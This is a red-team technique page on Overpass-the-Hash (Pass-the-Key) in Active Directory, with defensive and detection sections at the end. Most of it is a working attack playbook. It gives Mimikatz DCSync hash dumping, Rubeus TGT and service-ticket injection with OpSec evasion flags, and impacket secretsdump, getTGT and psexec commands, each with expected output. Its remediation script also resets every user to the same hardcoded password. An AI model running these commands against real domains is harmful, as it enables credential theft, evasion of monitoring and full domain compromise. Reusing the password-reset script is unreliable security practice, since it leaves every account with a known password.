MCADDF

[LM-AUTH-011]: Overpass-the-Hash (Pass-the-Key)

1. Metadata

Attribute Details
Technique ID LM-AUTH-011
MITRE ATT&CK v18.1 T1550.002 - Pass the Hash
Tactic Defense Evasion, Lateral Movement
Platforms Windows AD (On-Premises)
Severity High
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Windows Server 2016-2025; Windows 10/11
Patched In No patch (mitigated via hardening and detection)
Author SERVTEP – Artur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Overpass-the-Hash (also known as Pass-the-Key) is a credential-based lateral movement technique that leverages a user’s NTLM password hash to request a valid Kerberos Ticket Granting Ticket (TGT) from the Domain Controller’s Key Distribution Center (KDC). Unlike standard Pass-the-Hash (PtH) which uses NTLM authentication directly, Overpass-the-Hash converts the NTLM hash into a TGT via Kerberos, allowing the attacker to subsequently request Service Tickets (STs) for any resource in the domain. This technique bypasses standard authentication controls and is particularly effective because Kerberos tickets are considered “legitimate” authentication mechanisms by most security tools.

Attack Surface: Any account’s NTLM hash (obtained via credential dumping, DCSync, or NTDS.dit extraction); Kerberos authentication infrastructure; Domain Controller Key Distribution Center (KDC).

Business Impact: Unrestricted lateral movement within Active Directory domain. Once a TGT is obtained, an attacker can access any resource (file shares, databases, servers, printers) that the compromised account is permitted to access. If the hash belongs to a domain administrator or high-privilege account, full domain compromise is achievable. Attackers can also escalate privileges by requesting Service Tickets for sensitive accounts or by performing further attacks like Pass-the-Ticket.

Technical Context: The attack is rapid (seconds to minutes from hash extraction to TGT acquisition) and generates minimal suspicious audit logs compared to Pass-the-Hash. Event ID 4768 (TGT Requested) is generated on the Domain Controller, but many organizations do not actively monitor this event. The technique works consistently across all Windows Server versions (2016-2025) and PowerShell versions.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.4.2, 5.4.3 Kerberos Authentication - Enforcing ticket validation and strong encryption
DISA STIG W-10-000050 Kerberos ticket encryption and validation mechanisms
CISA SCuBA ID-1.1 Identity and Access Management - Strong authentication controls
NIST 800-53 IA-2, IA-7, AU-6 Authentication mechanisms and audit monitoring
GDPR Article 32 Security of Processing - Encryption and access controls
DORA Article 9 Protection and Prevention - Strong authentication for critical systems
NIS2 Article 21 Cyber Risk Management Measures - Authentication and access controls
ISO 27001 A.9.2.1, A.9.3.1 User authentication and access restriction controls
ISO 27005 Lateral Movement Risk Unauthorized network access and privilege escalation scenarios

3. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:

4. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

Check Kerberos Configuration:

# Verify Kerberos is enabled and configured
$kerberos = Get-WmiObject -Class Win32_NetworkAdapterConfiguration | 
  Where-Object { $_.DHCPEnabled -eq $true }

# Check Domain Controller reachability
nltest /dsgetdc:contoso.local

# List cached Kerberos tickets
klist

# Expected output: Shows any existing TGTs and STs
# Ticket Type: Ticket Granting Ticket (TGT)
# Principal: user@CONTOSO.LOCAL

What to Look For:

Check for Running Tools:

# Verify if Rubeus is already in use (look for process)
Get-Process -Name Rubeus -ErrorAction SilentlyContinue

# Check if LSASS is protected (Credential Guard)
Get-MpComputerStatus | Select-Object -ExpandProperty IsTamperProtected

Version Note: Kerberos reconnaissance is consistent across Server 2016-2025. However, Windows Server 2022+ has stricter Credential Guard policies by default, which may prevent LSASS memory access (required for hash extraction). Plan accordingly.

Check for Existing Ticket Caches

# On Windows, clear existing tickets before injecting new ones (avoid conflicts)
klist purge

# Verify cache is cleared
klist
# Expected: "There are no tickets to list"

5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Using Rubeus (Windows) - TGT Injection via RC4-HMAC

Supported Versions: Windows Server 2016-2025; Windows 10/11

Note: Rubeus is the most reliable and flexible tool for Overpass-the-Hash on Windows. The /ptt flag injects the TGT directly into the current session.

Step 1: Obtain Target User’s NTLM Hash

Objective: Acquire the NTLM hash of the target account. Methods include:

Command (via Mimikatz DCSync):

# From a compromised Domain Admin account
mimikatz # lsadump::dcsync /domain:contoso.local /user:targetuser /all

Expected Output:

[DC] contoso.local 'DC-01.contoso.local' will be the DC.
[DC] 'contoso.local\targetuser' has been required to perform a full sync with replication rights.
SAM.SAM
Hash NTLM: a64a6e7917ce0e4983f58a7e6a60d8a8

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Request TGT Using Rubeus with RC4-HMAC

Objective: Use the NTLM hash to request a valid TGT from the KDC. RC4-HMAC is the legacy Kerberos encryption type that uses NTLM-compatible hash.

Command (Rubeus - Basic TGT Request with Injection):

# Navigate to Rubeus directory
cd C:\Tools\Rubeus

# Request TGT using RC4 hash and inject into current session (/ptt = Pass-the-Ticket)
.\Rubeus.exe asktgt /domain:contoso.local /dc:DC-01.contoso.local /user:targetuser /rc4:a64a6e7917ce0e4983f58a7e6a60d8a8 /ptt

Expected Output:

[*] Action: Ask TGT

[*] Using domain controller: DC-01.contoso.local (192.168.1.100)
[*] Building AS-REQ (w/o preauth) for: 'contoso.local\targetuser'
[*] Sending AS-REQ
[+] TGT request successful!

[*] base64(ticket.kirbi):
      doIFQDCCBTygAwIBAaEDMAGhEDAOGwZDT05UT1NvBgtDT05UT1NP...
[*] Ticket Saved to : 04e85a18-aca1-4a5e-a74f-9ce6db6c5c96.kirbi
[*] Injecting ticket into LogonSession 0
[+] Ticket successfully injected!
[*] You now have context as 'contoso.local\targetuser' until 08/16/2024 08:30:00 AM

What This Means:

Version Note:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 3: Verify TGT and Request Service Tickets

Objective: Confirm the TGT is in the session and request Service Tickets for target resources.

Command (Verify TGT Injection):

# List all cached Kerberos tickets in current session
klist

# Expected output:
# Cached Tickets: (1)
# Session Key Type: RC4-HMAC
# ServiceName: krbtgt/CONTOSO.LOCAL
# TargetName: CONTOSO.LOCAL
# ClientName: targetuser
# Flags 0x40a00000: forwarded, renewable, initial
# Session Time: 08/15/2024 10:30:00 PM
# Session Expiration: 08/16/2024 08:30:00 AM

What This Means:

Command (Request Service Ticket for File Share):

# Now use the TGT to request a Service Ticket for a file share
# Kerberos will automatically use the cached TGT

# Example: Access a file share as the impersonated user
net use \\SERVER-01.contoso.local\C$ ""
# Or
dir \\SERVER-01.contoso.local\share

# Expected: Access is granted (or denied based on actual permissions, not authentication)

Command (Request Service Ticket via Rubeus for Explicit Control):

# Explicitly request a Service Ticket for a specific service
.\Rubeus.exe asktgs /ticket:04e85a18-aca1-4a5e-a74f-9ce6db6c5c96.kirbi /service:cifs/SERVER-01.contoso.local /ptt

# Expected output:
# [*] Service: cifs/SERVER-01.contoso.local
# [*] Requested ST (Service Ticket):
# [*] Injecting ticket into LogonSession 0
# [+] Ticket successfully injected!

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

METHOD 2: Using Rubeus with AES Encryption (OpSec Optimized)

Supported Versions: Windows Server 2019-2025; Windows 10 (1909+) / 11

Note: AES-based Kerberos encryption is more modern and less suspicious than RC4-HMAC. Use this when OpSec is critical and AES keys are available.

Step 1: Obtain AES-256 Hash (Alternative to RC4)

Objective: Extract the AES-256 key (Kerberos key) instead of NTLM hash for better OpSec.

Command (Mimikatz - Extract AES Key):

mimikatz # lsadump::dcsync /domain:contoso.local /user:targetuser /all

# Look for supplementalCredentials section:
# ... [UNICODE] (AES 256) : a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f2

Expected Output:

Hash NTLM: a64a6e7917ce0e4983f58a7e6a60d8a8
Hash AES256: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f2

Step 2: Request TGT with AES Encryption and OpSec Flags

Command (Rubeus - AES TGT with /opsec flag):

.\Rubeus.exe asktgt /domain:contoso.local /dc:DC-01.contoso.local /user:targetuser /aes256:a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0u1v2w3x4y5z6a7b8c9d0e1f2 /ptt /opsec

# Expected output:
# [*] Action: Ask TGT (OpSec Mode)
# [+] TGT request successful!
# [*] OpSec Flag Enabled - Mimicking standard Kerberos behavior

What This Means:

OpSec & Evasion:

METHOD 3: Using Impacket (Linux/macOS) - getTGT

Supported Versions: Windows Server 2016-2025 (can be attacked from Linux)

Note: For offensive operators without Windows infrastructure or using Linux-based C2 frameworks (Mythic, Sliver, etc.).

Step 1: Obtain NTLM Hash (via Remote DCSync)

Command (impacket - secretsdump):

# Use secretsdump to perform DCSync remotely
python3 secretsdump.py -hashes "aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c" \
  -domain-controller 192.168.1.100 \
  contoso.local/DomainAdmin@DC-01.contoso.local

# Extract specific user hash
python3 secretsdump.py -hashes ":8846f7eaee8fb117ad06bdd830b7586c" \
  -domain-controller 192.168.1.100 \
  contoso.local/DomainAdmin | grep "targetuser"

Expected Output:

targetuser:1105:aad3b435b51404eeaad3b435b51404ee:a64a6e7917ce0e4983f58a7e6a60d8a8:::

Step 2: Request TGT Using impacket getTGT

Command (impacket - getTGT):

# Request TGT using RC4 hash
python3 getTGT.py -hashes ":a64a6e7917ce0e4983f58a7e6a60d8a8" \
  -domain-controller 192.168.1.100 \
  contoso.local/targetuser \
  -outputfile /tmp/targetuser

# Expected output:
# Impacket v0.12.0 - Copyright 2024 SecureAuthCorp
# [*] Saving ticket in /tmp/targetuser.ccache

What This Means:

Step 3: Use TGT for Lateral Movement via psexec

Command (impacket - psexec with TGT):

# Export the ccache file so impacket tools use it
export KRB5CCNAME=/tmp/targetuser.ccache

# Now use psexec with the TGT
python3 psexec.py -k -no-pass \
  -dc-ip 192.168.1.100 \
  contoso.local/targetuser@SERVER-01.contoso.local \
  "whoami"

# Expected output:
# [*] Impacket code (psexec.py) successfully executed
# CONTOSO\targetuser

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

6. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Fixes)

# Check if AES encryption is enforced
Get-GPRegistryValue -Name "Default Domain Policy" -Key "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Kerberos\Parameters" `
  -ValueName "SupportedEncryptionTypes"

# Expected: 0x18 (AES-256 and AES-128 only)

# Verify Kerberos Audit Logging is enabled
auditpol /get /subcategory:"Kerberos Authentication Service"

# Expected output shows: Success and Failure both enabled

# Verify NTLM restrictions
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" /v "RestrictReceivingNTLMTraffic"

# Expected: REG_DWORD = 2 (Deny All)

7. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate Affected Account:

    Command:

    # Disable compromised account immediately
Disable-ADAccount -Identity "targetuser"
   
# Reset password to force out all sessions
$newPassword = ConvertTo-SecureString "NewComplexP@ss123!" -AsPlainText -Force
Set-ADAccountPassword -Identity "targetuser" -NewPassword $newPassword -Reset
   
# Clear Kerberos tickets from all systems
klist purge /all

    Manual (Azure AD / Entra ID):

    • Navigate to Entra ID → Users → Select compromised user → Sign-out All Sessions

  2. Collect Evidence:

    Command:

    # Export DC Security Event Log
wevtutil epl Security C:\Evidence\DC-Security.evtx
   
# Search for all TGT requests for compromised user (Event ID 4768)
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4768]] and *[EventData[Data[@Name='TargetUserName']='targetuser']]" | 
  Export-Csv -Path C:\Evidence\TGT-Requests.csv
   
# Search for service tickets requested (Event ID 4769)
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4769]] and *[EventData[Data[@Name='ServiceName'] or contains(., 'cifs')]]" | 
  Export-Csv -Path C:\Evidence\Service-Tickets.csv

  3. Remediate:

    Command:

    # Rotate all potentially affected accounts
Get-ADUser -Filter * -Properties LastLogonDate | 
  Where-Object { $_.LastLogonDate -gt (Get-Date).AddDays(-7) } | 
  ForEach-Object {
      Set-ADAccountPassword -Identity $_.SamAccountName -NewPassword (ConvertTo-SecureString "NewP@ss123!" -AsPlainText -Force) -Reset
  }
   
# Reset machine accounts (affected systems)
Reset-ComputerMachinePassword -Server "DC-01.contoso.local"

    Manual:

    • Review all Service Tickets requested and accessed resources
    • Audit file access logs on affected servers
    • Check for data exfiltration or unauthorized changes
Step Phase Technique Description
1 Initial Access [IA-VALID-002] Compromised Credentials Attacker obtains initial domain user credentials
2 Credential Access [CA-DUMP-002] LSASS Memory Dump Attacker extracts NTLM hashes from LSASS
3 Current Step [LM-AUTH-011] Overpass-the-Hash - Request TGT using NTLM hash
4 Lateral Movement [LM-AUTH-001] PsExec with Kerberos Ticket Access remote systems using Service Tickets
5 Privilege Escalation [PE-KERBEROS-003] Kerberoasting Request Service Tickets for cracking
6 Persistence [PERSIST-004] Scheduled Tasks Create backdoor task using compromised account

9. REAL-WORLD EXAMPLES

Example 1: Ember Bear - Overpass-the-Hash Lateral Movement

Example 2: APT28 (Fancy Bear) - Overpass-the-Hash in Political Campaigns

Example 3: Wizard Spider - Overpass-the-Hash in Ransomware Attacks

References & External Resources

This site is open source. Improve this page.